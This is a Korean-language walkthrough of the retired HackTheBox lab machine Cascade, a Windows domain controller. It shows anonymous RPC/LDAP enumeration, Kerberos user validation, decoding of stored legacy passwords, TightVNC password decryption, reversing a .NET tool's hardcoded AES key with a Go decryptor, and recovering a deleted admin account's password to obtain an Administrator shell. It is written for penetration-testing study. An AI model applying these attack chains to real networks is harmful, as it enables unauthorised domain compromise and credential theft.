HTB Cascade
Windows 침투테스트와 Active Directory와 관련된 공격 기법 등을 배우기위해 HackTheBox에서 폐기된 머신인 Cascade에 도전한다.
Domain Controller로 구성된 중간 난이도 머신으로 출시된 머신으로 천천히 머신에 침투하는 과정을 기록한다.
Recon
PortScan
발급받은 머신을 대상으로 포트 스캔 진행 시 아래와 같이 Windows 머신에서 자주 확인할 수 있는 서비스들이 오픈된 것을 확인할 수 있다. 하지만 일반적으로 침투의 초기 벡터로 사용되는 웹 서비스로 확인되는 서비스는 확인되지 않는다.
또 389/tcp
로 확인되는 LDAP 서비스의 스캔 결과에서 cascade.local
이라는 도메인으로 운영되는 것을 확인할 수 있다.
포트 스캔 이후 확인된 도메인을
/etc/hosts
에 등록하였다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-06 14:12 KST
Nmap scan report for 10.129.232.81
Host is up (0.27s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-09-06 05:12:45Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49173/tcp open msrpc Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -1s
| smb2-security-mode:
| 210:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-09-06T05:13:38
|_ start_date: 2023-09-06T01:21:37
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 107.26 seconds
DNS
포트 스캔에서 확인된 도메인에 대한 DNS 질의 시 서브 도메인은 발견할 수 없었고, Zone Transfer도 비활성화되어있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(root㉿kali)-[~]
└─# dig any cascade.local @10.129.232.81
; <<>> DiG 9.18.1-1-Debian <<>> any cascade.local @10.129.232.81
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: FORMERR, id: 22207
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: f1aedc2632eec58e (echoed)
;; QUESTION SECTION:
;cascade.local. IN ANY
;; Query time: 215 msec
;; SERVER: 10.129.232.81#53(10.129.232.81) (TCP)
;; WHEN: Wed Sep 06 01:20:54 EDT 2023
;; MSG SIZE rcvd: 54
┌──(root㉿kali)-[~]
└─# dig axfr cascade.local @10.129.232.81
; <<>> DiG 9.18.1-1-Debian <<>> axfr cascade.local @10.129.232.81
;; global options: +cmd
; Transfer failed.
SMB
다음으로 SMB에 대한 정찰을 시도했으나 익명 인증은 가능했으나 접근 가능한 공유 디렉터리는 존재하지 않았다.
1
2
3
4
5
6
7
8
9
┌──(root㉿kali)-[~/Desktop/cascade]
└─# smbclient -N -L //10.129.232.81
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.232.81 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
RPC
위에서 SMB 익명 인증이 가능하였기에 rpcclient를 이용하여 익명 로그인 후 쿼리를 전송하여 유저 리스트를 구성할 수 있었다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(root㉿kali)-[~/Desktop/HTB/Cascade]
└─# rpcclient -U "" -N 10.129.232.81
rpcclient $> queryuserinfo
command not found: queryuserinfo
rpcclient $> querydispinfo
index: 0xee0 RID: 0x464 acb: 0x00000214 Account: a.turnbull Name: Adrian Turnbull Desc: (null)
index: 0xebc RID: 0x452 acb: 0x00000210 Account: arksvc Name: ArkSvc Desc: (null)
index: 0xee4 RID: 0x468 acb: 0x00000211 Account: b.hanson Name: Ben Hanson Desc: (null)
index: 0xee7 RID: 0x46a acb: 0x00000210 Account: BackupSvc Name: BackupSvc Desc: (null)
index: 0xdeb RID: 0x1f5 acb: 0x00000215 Account: CascGuest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0xee5 RID: 0x469 acb: 0x00000210 Account: d.burman Name: David Burman Desc: (null)
index: 0xee3 RID: 0x467 acb: 0x00000211 Account: e.crowe Name: Edward Crowe Desc: (null)
index: 0xeec RID: 0x46f acb: 0x00000211 Account: i.croft Name: Ian Croft Desc: (null)
index: 0xeeb RID: 0x46e acb: 0x00000210 Account: j.allen Name: Joseph Allen Desc: (null)
index: 0xede RID: 0x462 acb: 0x00000210 Account: j.goodhand Name: John Goodhand Desc: (null)
index: 0xed7 RID: 0x45c acb: 0x00000210 Account: j.wakefield Name: James Wakefield Desc: (null)
index: 0xeca RID: 0x455 acb: 0x00000210 Account: r.thompson Name: Ryan Thompson Desc: (null)
index: 0xedd RID: 0x461 acb: 0x00000210 Account: s.hickson Name: Stephanie Hickson Desc: (null)
index: 0xebd RID: 0x453 acb: 0x00000210 Account: s.smith Name: Steve Smith Desc: (null)
index: 0xed2 RID: 0x457 acb: 0x00000210 Account: util Name: Util Desc: (null)
위에서 확인된 유저 리스트를 users.txt
라는 파일로 구성하였고, kerbrute
를 사용하여 실제로 유효한 계정을 소거할 수 있었다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(root㉿kali)-[~/Desktop/HTB/Cascade]
└─# kerbrute -users users.txt -dc-ip 10.129.39.211 -domain 'cascade.local' -outputusers valid-users.txt
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Valid user => a.turnbull
[*] Valid user => arksvc
[*] Blocked/Disabled user => b.hanson
[*] Valid user => BackupSvc
[*] Blocked/Disabled user => CascGuest
[*] Valid user => d.burman
[*] Blocked/Disabled user => e.crowe
[*] Blocked/Disabled user => i.croft
[*] Valid user => j.allen
[*] Valid user => j.goodhand
[*] Valid user => j.wakefield
[*] Valid user => r.thompson
[*] Valid user => s.hickson
[*] Valid user => s.smith
[*] Valid user => util
[*] Saved discovered users in valid-users.txt
확보한 유요한 계정 중 DONT_REQ_PREAUTH
설정된 계정이 있는지 확인하기위해 impacket-GetNPUsers
를 통해 스캔을 진행했으나 취약한 구성을 가진 계정은 존재하지 않았다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[~/Desktop/HTB/Cascade]
└─# impacket-GetNPUsers 'cascade.local/' -usersfile valid-users.txt -dc-ip '10.129.39.211' -outputfile asreproasting.out
Impacket v0.11.0 - Copyright 2023 Fortra
[-] User a.turnbull doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User arksvc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User BackupSvc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User d.burman doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.allen doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.goodhand doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.wakefield doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User r.thompson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User s.hickson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User s.smith doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User util doesn't have UF_DONT_REQUIRE_PREAUTH set
LDAP
LDAP 서비스에서도 익명 바인딩이 가능한것을 확인하였고, ldapsearch를 통해 조회된 결과 중 민감한 정보로 확인되는 cascadeLegacyPwd
가 r.thompson
계정의 정보에서 확인되었다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
...
...
...
# Ryan Thompson, Users, UK, cascade.local
dn: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Ryan Thompson
sn: Thompson
givenName: Ryan
distinguishedName: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
instanceType: 4
whenCreated: 20200109193126.0Z
whenChanged: 20200323112031.0Z
displayName: Ryan Thompson
uSNCreated: 24610
memberOf: CN=IT,OU=Groups,OU=UK,DC=cascade,DC=local
uSNChanged: 295010
name: Ryan Thompson
objectGUID:: LfpD6qngUkupEy9bFXBBjA==
userAccountControl: 66048
badPwdCount: 1
codePage: 0
countryCode: 0
badPasswordTime: 133384528480716543
lastLogoff: 0
lastLogon: 132247339125713230
pwdLastSet: 132230718862636251
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAMvuhxgsd8Uf1yHJFVQQAAA==
accountExpires: 9223372036854775807
logonCount: 2
sAMAccountName: r.thompson
sAMAccountType: 805306368
userPrincipalName: r.thompson@cascade.local
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=cascade,DC=local
dSCorePropagationData: 20200126183918.0Z
dSCorePropagationData: 20200119174753.0Z
dSCorePropagationData: 20200119174719.0Z
dSCorePropagationData: 20200119174508.0Z
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 132294360317419816
msDS-SupportedEncryptionTypes: 0
cascadeLegacyPwd: clk0bjVldmE=
...
...
...
해당 필드의 값은 Base64로 인코딩되어있어 디코딩한 값을 통해 로그인이 가능한 것을 확인할 수 있었다. 하지만 WinRM에 접근할 수 있는 권한은 존재하지 않았다.
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~/Desktop/HTB/Cascade]
└─# crackmapexec smb '10.129.39.211' -u 'r.thompson' -p 'rY4n5eva'
SMB 10.129.39.211 445 CASC-DC1 [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB 10.129.39.211 445 CASC-DC1 [+] cascade.local\r.thompson:rY4n5eva
┌──(root㉿kali)-[~/Desktop/HTB/Cascade]
└─# crackmapexec winrm '10.129.39.211' -u 'r.thompson' -p 'rY4n5eva'
SMB 10.129.39.211 5985 CASC-DC1 [*] Windows 6.1 Build 7601 (name:CASC-DC1) (domain:cascade.local)
HTTP 10.129.39.211 5985 CASC-DC1 [*] http://10.129.39.211:5985/wsman
WINRM 10.129.39.211 5985 CASC-DC1 [-] cascade.local\r.thompson:rY4n5eva
Foothold
SMB (r.thompson)
확보한 r.thompson 계정을 통해 익명으로 열거가 불가능했던 공유 디렉터리 열거가 가능하였다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[~/Desktop/cascade]
└─# smbclient -L //10.129.232.81/ -U 'r.thompson'
Password for [WORKGROUP\r.thompson]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
Audit$ Disk
C$ Disk Default share
Data Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
print$ Disk Printer Drivers
SYSVOL Disk Logon server share
그 중 Data
공유 디렉터리에 흥미로워보이는 파일들이 존재하여 해당 공유 디렉터리에서 접근 가능한 모든 파일을 공격자 PC로 다운로드하였다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[~/Desktop/cascade/smbdump]
└─# smbclient //10.129.232.81/Data -U 'r.thompson'
Password for [WORKGROUP\r.thompson]:
Try "help" to get a list of possible commands.
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
NT_STATUS_ACCESS_DENIED listing \Contractors\*
NT_STATUS_ACCESS_DENIED listing \Finance\*
NT_STATUS_ACCESS_DENIED listing \Production\*
NT_STATUS_ACCESS_DENIED listing \Temps\*
getting file \IT\Email Archives\Meeting_Notes_June_2018.html of size 2522 as IT/Email Archives/Meeting_Notes_June_2018.html (2.9 KiloBytes/sec) (average 2.9 KiloBytes/sec)
getting file \IT\Logs\Ark AD Recycle Bin\ArkAdRecycleBin.log of size 1303 as IT/Logs/Ark AD Recycle Bin/ArkAdRecycleBin.log (1.5 KiloBytes/sec) (average 2.2 KiloBytes/sec)
getting file \IT\Logs\DCs\dcdiag.log of size 5967 as IT/Logs/DCs/dcdiag.log (7.0 KiloBytes/sec) (average 3.8 KiloBytes/sec)
getting file \IT\Temp\s.smith\VNC Install.reg of size 2680 as IT/Temp/s.smith/VNC Install.reg (3.1 KiloBytes/sec) (average 3.6 KiloBytes/sec)
\IT\Email Archives\Meeting_Notes_June_2018.html
에서 아래와 같은 내용을 확인할 수 있었으며, 임시 계정을 통해 네트워크 마이그레이션 작업을 진행하는데 작업 시 사용되는 계정은 TempAdmin
이며 패스워드는 기존 Administrator 계정의 패스워드와 동일하다고 한다.
또 \IT\Temp\s.smith\VNC Install.reg
파일의 내용에서 s.smith
의 ThightVNC
패스워드로 보이는 필드에서 HEX로 구성된 패스워드를 확인할 수 있었다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC]
[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server]
"ExtraPorts"=""
"QueryTimeout"=dword:0000001e
"QueryAcceptOnTimeout"=dword:00000000
"LocalInputPriorityTimeout"=dword:00000003
"LocalInputPriority"=dword:00000000
"BlockRemoteInput"=dword:00000000
"BlockLocalInput"=dword:00000000
"IpAccessControl"=""
"RfbPort"=dword:0000170c
"HttpPort"=dword:000016a8
"DisconnectAction"=dword:00000000
"AcceptRfbConnections"=dword:00000001
"UseVncAuthentication"=dword:00000001
"UseControlAuthentication"=dword:00000000
"RepeatControlAuthentication"=dword:00000000
"LoopbackOnly"=dword:00000000
"AcceptHttpConnections"=dword:00000001
"LogLevel"=dword:00000000
"EnableFileTransfers"=dword:00000001
"RemoveWallpaper"=dword:00000001
"UseD3D"=dword:00000001
"UseMirrorDriver"=dword:00000001
"EnableUrlParams"=dword:00000001
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
"AlwaysShared"=dword:00000000
"NeverShared"=dword:00000000
"DisconnectClients"=dword:00000001
"PollingInterval"=dword:000003e8
"AllowLoopback"=dword:00000000
"VideoRecognitionInterval"=dword:00000bb8
"GrabTransparentWindows"=dword:00000001
"SaveLogToAllUsersPath"=dword:00000000
"RunControlInterface"=dword:00000001
"IdleTimeout"=dword:00000000
"VideoClasses"=""
"VideoRects"=""
TightVNC Password Crack (s.smith)
위에서 확인된 s.smith의 패스워드로 추정되는 HEX 값을 어떤식으로 활용 할 수 있을지 찾아보던 중 vncpasswd.py 레포지토리를 확인할 수 있었으며, VNC 패스워드를 복호화해주는 도구로 확인된다.
해당 레포지토리를 클론 후 vncpasswd.py
를 통해 확보한 s.smith의 패스워드 HEX를 입력할 경우 아래와 같이 패스워드가 복호화되는 것을 확인할 수 있었다.
1
2
3
4
┌──(root㉿kali)-[~/Desktop/HTB/Cascade/vncpasswd.py]
└─# ./vncpasswd.py -d -H '6bcf2a4b6e5aca0f'
Decrypted Bin Pass= 'sT333ve2'
Decrypted Hex Pass= '7354333333766532'
복호화된 패스워드가 s.smith 계정에 패스워드로 유효한지 테스트하니 정상적으로 SMB 인증이 가능하여 유효한 패스워드로 확인된다. 추가적으로 s.smith는 WinRM 접근 권한이 존재하였다.
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~/Desktop/HTB/Cascade]
└─# crackmapexec smb '10.129.39.211' -u 's.smith' -p 'sT333ve2'
SMB 10.129.39.211 445 CASC-DC1 [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB 10.129.39.211 445 CASC-DC1 [+] cascade.local\s.smith:sT333ve2
┌──(root㉿kali)-[~/Desktop/HTB/Cascade]
└─# crackmapexec winrm '10.129.39.211' -u 's.smith' -p 'sT333ve2'
SMB 10.129.39.211 5985 CASC-DC1 [*] Windows 6.1 Build 7601 (name:CASC-DC1) (domain:cascade.local)
HTTP 10.129.39.211 5985 CASC-DC1 [*] http://10.129.39.211:5985/wsman
WINRM 10.129.39.211 5985 CASC-DC1 [+] cascade.local\s.smith:sT333ve2 (Pwn3d!)
SMB (s.smith)
위에서 s.smith 계정으로 WinRM 접근이 가능한 것으로 확인되어 evil-winrm
을 통해 s.smith 터미널에 접근 후 시스템을 정찰해도 의미있는 정보는 파악할 수 없었으며, BloodHound
를 통해 AD 정보를 분석하여도 현재까지 확보한 r.thompson과 s.smith 계정으로 어뷰징이 가능한 포인트는 찾을 수 없었다.
하지만 s.smith 계정이 속한 그룹 정보를 보면 AUDIT SHARE
그룹의 멤버로, 해당 그룹의 설명에서 \\Casc-DC1\Audit$
라는 설명을 확인할 수 있었다.
설명에 내용은 공유 디렉터리 중 Audit$
에 접근이 가능한것으로 파악되어 s.smith 계정으로 해당 공유 디렉터리에 접근 시 r.thompson 계정에서 접근이 불가능했던 공유 디렉터리에 정상적으로 접근이 가능하였다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kali)-[~/Desktop/cascade/smbdump-smith/Data]
└─# smbclient //10.129.232.81/Audit$ -U 's.smith'
Password for [WORKGROUP\s.smith]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jan 29 13:01:26 2020
.. D 0 Wed Jan 29 13:01:26 2020
CascAudit.exe An 13312 Tue Jan 28 16:46:51 2020
CascCrypto.dll An 12288 Wed Jan 29 13:00:20 2020
DB D 0 Tue Jan 28 16:40:59 2020
RunAudit.bat A 45 Tue Jan 28 18:29:47 2020
System.Data.SQLite.dll A 363520 Sun Oct 27 02:38:36 2019
System.Data.SQLite.EF6.dll A 186880 Sun Oct 27 02:38:38 2019
x64 D 0 Sun Jan 26 17:25:27 2020
x86 D 0 Sun Jan 26 17:25:27 2020
6553343 blocks of size 4096. 1624964 blocks available
CascAudit.exe
Audit$ 공유 디렉터리에서 확인되는 CascAudit.exe를 공격자 PC로 다운로드하여 파일을 분석하니 .NET
콘솔 프로그램으로 확인된다.
해당 파일을 dnspy를 통해 소스코드를 분석하니 메인에서 아래와 같은 코드를 확인할 수 있었다. 코드에는 생략되어있지만 인자로 받은 DB파일(sqlite)에서 LDAP 테이블을 조회하고 해당 테이블에서 Pwd
` 필드의 값을 복호화한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
string str = string.Empty;
string password = string.Empty;
string str2 = string.Empty;
try
{
sqliteConnection.Open();
using (SQLiteCommand sqliteCommand = new SQLiteCommand("SELECT * FROM LDAP", sqliteConnection))
{
using (SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader())
{
sqliteDataReader.Read();
str = Conversions.ToString(sqliteDataReader["Uname"]);
str2 = Conversions.ToString(sqliteDataReader["Domain"]);
string encryptedString = Conversions.ToString(sqliteDataReader["Pwd"]);
try
{
password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");
}
catch (Exception ex)
{
Console.WriteLine("Error decrypting password: " + ex.Message);
return;
}
}
}
sqliteConnection.Close();
}
Audit$ 공유 디렉터리의 \DB\Audit.db
가 해당 콘솔 프로그램에서 사용되었던 DB 파일로 예상되어 Audit.db 파일을 열어 확인해보니 LDAP 테이블에서 아래와 같이 ArkSvc
계정의 암호화된 패스워드를 확인할 수 있었다.
위에서 확인한 .NET 코드 중 아래와 같은 구문을 통해 패스워드를 복호화하여 password 변수에 저장하는것으로 확인된다.
1
password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");
DescryptString
함수의 내용을 보면, 첫번째로 전달되는 encryptedString은 Audit.db의 LDAP 테이블에 존재하는 pwd
의 값으며 두번째로 전달되는 값은 복호화 키로 확인된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static string DecryptString(string EncryptedString, string Key)
{
byte[] array = Convert.FromBase64String(EncryptedString);
Aes aes = Aes.Create();
aes.KeySize = 128;
aes.BlockSize = 128;
aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
aes.Mode = CipherMode.CBC;
aes.Key = Encoding.UTF8.GetBytes(Key);
string @string;
using (MemoryStream memoryStream = new MemoryStream(array))
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Read))
{
byte[] array2 = new byte[checked(array.Length - 1 + 1)];
cryptoStream.Read(array2, 0, array2.Length);
@string = Encoding.UTF8.GetString(array2);
}
}
위에서 확인된 DecryptString 함수를 GoLang으로 변경하여 암호화된 패스워드를 복호화시도한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
)
func DecryptString(encryptedString string, key string) (string, error) {
encryptedData, err := base64.StdEncoding.DecodeString(encryptedString)
if err != nil {
return "", err
}
// AES 키와 IV 설정
keyBytes := []byte(key)
iv := []byte("1tdyjCbY1Ix49842")
// AES 블록 생성
block, err := aes.NewCipher(keyBytes)
if err != nil {
return "", err
}
// CBC 모드로 복호화 설정
mode := cipher.NewCBCDecrypter(block, iv)
// 복호화된 데이터를 저장할 슬라이스 생성
decryptedData := make([]byte, len(encryptedData))
// 데이터를 복호화하고 복호화된 데이터를 decryptedData에 저장
mode.CryptBlocks(decryptedData, encryptedData)
// 패딩 제거
decryptedData = unpad(decryptedData)
return string(decryptedData), nil
}
func unpad(data []byte) []byte {
length := len(data)
unpadding := int(data[length-1])
return data[:length-unpadding]
}
func main() {
encryptedString := "BQO5l5Kj9MdErXx6Q6AGOw=="
key := "c4scadek3y654321"
decryptedString, err := DecryptString(encryptedString, key)
if err != nil {
fmt.Println("Error:", err)
return
}
fmt.Println("Decrypted String:", decryptedString)
}
이렇게 ArkSvc
계정의 패스워드로 추정되는 값을 확보할 수 있었고, SMB와 WinRM 인증 시도를 통해 계정과 패스워드가 유효한것도 확인할 수 있었다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[~/Desktop/HTB/Cascade/smb-smith]
└─# go run main.go
Decrypted String: w3lc0meFr31nd
┌──(root㉿kali)-[~/Desktop/HTB/Cascade/smb-smith]
└─# crackmapexec winrm '10.129.39.211' -u 'arksvc' -p 'w3lc0meFr31nd'
arkSMB 10.129.39.211 5985 CASC-DC1 [*] Windows 6.1 Build 7601 (name:CASC-DC1) (domain:cascade.local)
HTTP 10.129.39.211 5985 CASC-DC1 [*] http://10.129.39.211:5985/wsman
WINRM 10.129.39.211 5985 CASC-DC1 [+] cascade.local\arksvc:w3lc0meFr31nd (Pwn3d!)
┌──(root㉿kali)-[~/Desktop/HTB/Cascade/smb-smith]
└─# crackmapexec smb '10.129.39.211' -u 'arksvc' -p 'w3lc0meFr31nd'
SMB 10.129.39.211 445 CASC-DC1 [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB 10.129.39.211 445 CASC-DC1 [+] cascade.local\arksvc:w3lc0meFr31nd
User
ArkSvc
확보한 ArkSvc 계정도 BloodHound에서 그룹 정보를 확인하니 흥미로워 보이는 AD RECYCLE BIN
이라는 그룹에 포함되어있는 것을 확인할 수 있었다.
AD Recycle Bin
AD Recycle Bin 그룹은 알려진 Windows 그룹으로 Windows Server 2008 부터 지원되기 시작한 그룹이다.
위 링크의 내용과 ChatGPT의 답변을 보면 해당 그룹에 속한 사용자는 AD 휴지통에 존재하는 개체들의 정보를 조회하거나 복원할 수 있다고한다. 관련되서 조회 및 복원 방법도 GPT에게 물어보니 참 착하게 답변을 잘 해준다.
기존 r.thompson 계정으로 SMB Data 공유 디렉터리에서 확인했던 Meeting_Notes_June_2018.html
파일 내용중 네트워크 마이그레이션 작업에 이용한 관리자 권한의 TempAdmin
계정을 아래 명령을 통해 AD 휴지통에서 확인할 수 있었고, cascadeLegacyPwd
필드에 Base64 인코딩된 패스워드를 확인할 수 있었다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
*Evil-WinRM* PS C:\Users\arksvc\Desktop> Get-ADObject -Filter {isDeleted -eq $true} -IncludeDeletedObjects -Property *
...
...
...
accountExpires : 9223372036854775807
badPasswordTime : 0
badPwdCount : 0
CanonicalName : cascade.local/Deleted Objects/TempAdmin
DEL:f0cc344d-31e0-4866-bceb-a842791ca059
cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz
CN : TempAdmin
DEL:f0cc344d-31e0-4866-bceb-a842791ca059
codePage : 0
countryCode : 0
Created : 1/27/2020 3:23:08 AM
createTimeStamp : 1/27/2020 3:23:08 AM
Deleted : True
Description :
DisplayName : TempAdmin
DistinguishedName : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
dSCorePropagationData : {1/27/2020 3:23:08 AM, 1/1/1601 12:00:00 AM}
givenName : TempAdmin
instanceType : 4
isDeleted : True
LastKnownParent : OU=Users,OU=UK,DC=cascade,DC=local
lastLogoff : 0
lastLogon : 0
logonCount : 0
Modified : 1/27/2020 3:24:34 AM
modifyTimeStamp : 1/27/2020 3:24:34 AM
msDS-LastKnownRDN : TempAdmin
Name : TempAdmin
DEL:f0cc344d-31e0-4866-bceb-a842791ca059
nTSecurityDescriptor : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory :
ObjectClass : user
ObjectGUID : f0cc344d-31e0-4866-bceb-a842791ca059
objectSid : S-1-5-21-3332504370-1206983947-1165150453-1136
primaryGroupID : 513
ProtectedFromAccidentalDeletion : False
pwdLastSet : 132245689883479503
sAMAccountName : TempAdmin
sDRightsEffective : 0
userAccountControl : 66048
userPrincipalName : TempAdmin@cascade.local
uSNChanged : 237705
uSNCreated : 237695
whenChanged : 1/27/2020 3:24:34 AM
whenCreated : 1/27/2020 3:23:08 AM
패스워드를 Base64 디코딩 후 Administrator 계정으로 로그인이 가능하였다. 이렇게 Cascade 머신을 해결할 수 있었다.
1
2
3
┌──(root㉿kali)-[~/Desktop/cascade/smbdump-smith]
└─# echo "YmFDVDNyMWFOMDBkbGVz" | base64 -d
baCT3r1aN00dles
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kali)-[~/Desktop/cascade/smbdump-smith]
└─# evil-winrm -i '10.129.114.20' -u 'Administrator' -p 'baCT3r1aN00dles'
Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
cascade\administrator